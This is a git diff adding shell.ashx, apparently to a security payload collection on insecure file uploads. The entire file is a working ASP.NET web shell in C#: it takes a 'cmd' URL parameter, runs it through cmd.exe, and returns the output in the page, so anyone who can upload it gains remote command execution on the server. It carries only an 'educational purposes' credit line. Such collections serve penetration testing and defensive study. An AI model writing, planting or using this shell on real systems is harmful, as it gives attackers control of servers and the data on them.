diff --git a/Upload Insecure Files/Extension ASP/shell.ashx b/Upload Insecure Files/Extension ASP/shell.ashx new file mode 100644 index 0000000..bfd3286 --- /dev/null +++ b/Upload Insecure Files/Extension ASP/shell.ashx @@ -0,0 +1,42 @@ +<% @ webhandler language="C#" class="AverageHandler" %> + +using System; +using System.Web; +using System.Diagnostics; +using System.IO; + +public class AverageHandler : IHttpHandler +{ + /* .Net requires this to be implemented */ + public bool IsReusable + { + get { return true; } + } + + /* main executing code */ + public void ProcessRequest(HttpContext ctx) + { + Uri url = new Uri(HttpContext.Current.Request.Url.Scheme + "://" + HttpContext.Current.Request.Url.Authority + HttpContext.Current.Request.RawUrl); + string command = HttpUtility.ParseQueryString(url.Query).Get("cmd"); + + ctx.Response.Write("
Command:
"); + ctx.Response.Write("
"); + ctx.Response.Write("
");
+
+    /* command execution and output retrieval */
+    ProcessStartInfo psi = new ProcessStartInfo();
+    psi.FileName = "cmd.exe";
+    psi.Arguments = "/c "+command;
+    psi.RedirectStandardOutput = true;
+    psi.UseShellExecute = false;
+    Process p = Process.Start(psi);
+    StreamReader stmrdr = p.StandardOutput;
+    string s = stmrdr.ReadToEnd();
+    stmrdr.Close();
+
+    ctx.Response.Write(System.Web.HttpUtility.HtmlEncode(s));
+    ctx.Response.Write("
"); + ctx.Response.Write("
"); + ctx.Response.Write("By @Hypn, for educational purposes only."); + } +}